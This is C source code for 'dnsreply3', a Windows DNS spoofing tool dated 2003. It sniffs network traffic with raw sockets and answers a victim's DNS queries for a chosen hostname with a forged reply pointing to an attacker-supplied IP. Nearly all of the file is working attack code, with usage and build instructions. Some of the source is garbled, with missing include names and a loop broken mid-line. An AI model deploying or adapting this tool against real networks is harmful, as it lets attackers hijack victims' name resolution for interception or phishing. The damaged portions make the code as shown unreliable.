/********************************************************************* dnsreply3 - dns sniffing & reply 2003.6.16 shio@st.rim.or.jp ... 2003.9.26 bug fix Usage: dnsreply3.exe local-ip target-name victim-ip forged-ip [dns-ip] Building under Borland C++ 5.5: bcc32 dnsreply3.c ws2_32.lib *********************************************************************/ #include #include #include #include typedef struct ip_hdr { unsigned char h_len:4; unsigned char version:4; unsigned char ip_tos; unsigned short ip_totallength; unsigned short ip_id; unsigned short ip_offset; unsigned char ip_ttl; unsigned char ip_protocol; unsigned short ip_checksum; unsigned int ip_srcaddr; unsigned int ip_destaddr; } IP_HDR; typedef struct tcp_hdr { unsigned short src_portno; unsigned short dst_portno; unsigned int seqnum; unsigned int acknum; unsigned char tcp_offset; unsigned char tcp_flags; unsigned short tcp_win; unsigned short tcp_checksum; unsigned short tcp_urgptr; } TCP_HDR; typedef struct udp_hdr { unsigned short src_portno; unsigned short dst_portno; unsigned short udp_length; unsigned short udp_checksum; } UDP_HDR; #define BUF_SIZE 65535 #define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1) #define SRC_PORT 53 #define MSG_MAX 1024 #define BUF_SIZE2 15000 char* basename(const char *path); USHORT checksum(USHORT *buf, int size) { unsigned long cksum=0; while (size > 1) { cksum += *buf++; size -= sizeof(USHORT); } if (size) { cksum += *(UCHAR*)buf; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } int convhostname(char *out, char *in) { short len, l; char *p, *p1; p = in; len = 0; while (*p) { p1 = strchr(p, '.'); if (p1 == p) { p++; continue; } if (!p1) p1=strchr(p ,0); l = p1 - p; out[len++] = l; memcpy(out+len, p, l); p += l; len += l; } out[len++] = '\0'; return (len); } int sendreply(char *src_ip, char *dest_ip, unsigned short dest_port, unsigned short c_qid, char *host, char *forged_ip) { IP_HDR iphdr; UDP_HDR udphdr; WSADATA wsa; SOCKET s; int ret; BOOL opt; char buf[BUF_SIZE2]; char message[MSG_MAX]; char *ptr; struct sockaddr_in dest; unsigned short totalsize, udpsize, udpchecksumsize, i, qid, msglen; unsigned int fip; if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("WSAStartup() failed: %d\n", GetLastError()); return -1; } s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0,0); if (s == INVALID_SOCKET) { printf("WSASocket() failed: %d\n", WSAGetLastError()); return -1; } opt = TRUE; ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&opt, sizeof(opt)); if (ret == SOCKET_ERROR) { printf("setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError()); return -1; } ptr = message; qid = htons(c_qid) ; memcpy(ptr, (char *)&qid, 2); msglen = 2; memcpy(ptr + msglen, "\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00", 10); msglen += 10; i = convhostname(buf, host); memcpy(ptr + msglen, buf, i); msglen += i; memcpy(ptr + msglen, "\x00\x01\x00\x01\xc0\x0c\x00\x01\x00\x01\x00\x02\xa3\x00\x00\x04", 16); msglen += 16; fip = inet_addr(forged_ip); memcpy(ptr + msglen, &fip, 4); msglen += 4; totalsize = sizeof(iphdr) + sizeof(udphdr) + msglen; iphdr.h_len = sizeof(iphdr) / sizeof(unsigned long); iphdr.version = 4; iphdr.ip_tos = 0; iphdr.ip_totallength = htons(totalsize); iphdr.ip_id = 0; iphdr.ip_offset = 0; iphdr.ip_ttl = 64; iphdr.ip_protocol = IPPROTO_UDP; iphdr.ip_checksum = 0 ; iphdr.ip_srcaddr = inet_addr(src_ip); iphdr.ip_destaddr = inet_addr(dest_ip); udpsize = sizeof(udphdr) + msglen; udphdr.src_portno = htons(SRC_PORT) ; udphdr.dst_portno = dest_port ; udphdr.udp_length = htons(udpsize) ; udphdr.udp_checksum = 0 ; udpchecksumsize = 0; ptr = buf; ZeroMemory(buf, BUF_SIZE2); memcpy(ptr, &iphdr.ip_srcaddr, sizeof(iphdr.ip_srcaddr)); ptr += sizeof(iphdr.ip_srcaddr); udpchecksumsize += sizeof(iphdr.ip_srcaddr); memcpy(ptr, &iphdr.ip_destaddr, sizeof(iphdr.ip_destaddr)); ptr += sizeof(iphdr.ip_destaddr); udpchecksumsize += sizeof(iphdr.ip_destaddr); ptr++; udpchecksumsize += 1; memcpy(ptr, &iphdr.ip_protocol, sizeof(iphdr.ip_protocol)); ptr += sizeof(iphdr.ip_protocol); udpchecksumsize += sizeof(iphdr.ip_protocol); memcpy(ptr, &udphdr.udp_length, sizeof(udphdr.udp_length)); ptr += sizeof(udphdr.udp_length); udpchecksumsize += sizeof(udphdr.udp_length); memcpy(ptr, &udphdr, sizeof(udphdr)); ptr += sizeof(udphdr); udpchecksumsize += sizeof(udphdr); for(i = 0; i %s.53 > %s.%d qid:%d %s/%s\n", src_ip, dest_ip, ntohs(dest_port), c_qid, host, forged_ip); } closesocket(s) ; WSACleanup() ; return 0; } int main(int argc, char* argv[]) { IP_HDR iphdr; TCP_HDR tcphdr; UDP_HDR udphdr; WSADATA wsa; SOCKET s; BOOL opt; char buf[BUF_SIZE]; char buf2[BUF_SIZE]; char src_ip[BUF_SIZE2], dest_ip[BUF_SIZE2]; char flags[8]; struct sockaddr_in sin; struct in_addr in, in2; u_long bufsz; u_long bytesret; int rcvlen; unsigned short qid, dnsflags, i, type, class, qnum, num; char *p; char hname[128]; if (argc < 5) { printf("usage: %s local-ip target-name victim-ip forged-ip [dns-ip]\n", basename(argv[0])); return 1; } if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("WSAStartup() failed: %d\n", GetLastError()); return -1; } ZeroMemory(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0,0); if (s == INVALID_SOCKET) { printf("socket() failed: %d\n", WSAGetLastError()); return -1; } if (bind(s, (struct sockaddr*)&sin, sizeof(sin))) { printf("bind() failed: %d\n", WSAGetLastError()); return -1; } bufsz = 1<<20; if (setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *)&bufsz, sizeof(bufsz))) { printf("setsockopt(SO_RCVBUF) failed: %d\n", WSAGetLastError()); return -1; } opt = TRUE; if (WSAIoctl(s, SIO_RCVALL, (char *)&opt, sizeof(opt), NULL, 0, &bytesret, NULL, NULL)) { printf("WSAIoctl(SIO_RCVALL) failed: %d\n", WSAGetLastError()); return -1; } while(1) { ZeroMemory(buf, sizeof(buf)); rcvlen = recv(s, buf, sizeof(buf), 0); if (rcvlen <= 0) { printf("recv() failed: %d\n", WSAGetLastError()); return -1; } memcpy(&iphdr, buf, sizeof(iphdr)); in.s_addr = iphdr.ip_srcaddr; in2.s_addr = iphdr.ip_destaddr; if (iphdr.ip_protocol == IPPROTO_UDP) { memcpy(&udphdr, buf + (int)iphdr.h_len * 4, sizeof(udphdr)); p = buf + (int)iphdr.h_len * 4 + sizeof(udphdr); memcpy((char *)&qid, p, 2); qid = ntohs(qid); p += 2; memcpy((char *)&dnsflags, p, 2); dnsflags = ntohs(dnsflags); p += 2; memcpy((char *)&qnum, p, 2); qnum = ntohs(qnum); p += 8; if (ntohs(udphdr.dst_portno) == 53 && (dnsflags == 256 || dnsflags == 16 || dnsflags == 0) && qnum == 1) { i = 0; while (*p && i < 128) { memcpy(hname + i, p + 1, num = (unsigned short)p[0]); p += num + 1; i += num; hname[i++] = '.'; } if (i) hname[--i] = '\0'; p++; memcpy((char *)&type, p, 2); type = ntohs(type); p += 2; memcpy((char *)&class, p, 2); class = ntohs(class); if (strcmp(argv[2], hname) == 0 && type == 1 && class == 1) { strcpy(src_ip, inet_ntoa(in2)); strcpy(dest_ip, inet_ntoa(in)); if (strcmp(argv[3], dest_ip) != 0) continue; // printf("%s", dest_ip); // printf(".%d", ntohs(udphdr.src_portno)); // printf(" > %s", src_ip); // printf(".%d", ntohs(udphdr.dst_portno)); // printf(" qid:%d", qid); // printf(" name:%s\n", hname); if (argc > 5) { strcpy(src_ip, argv[5]); } sendreply(src_ip, dest_ip, udphdr.src_portno, qid, hname, argv[4]); } } } } // closesocket(s) ; // WSACleanup() ; // return 0; }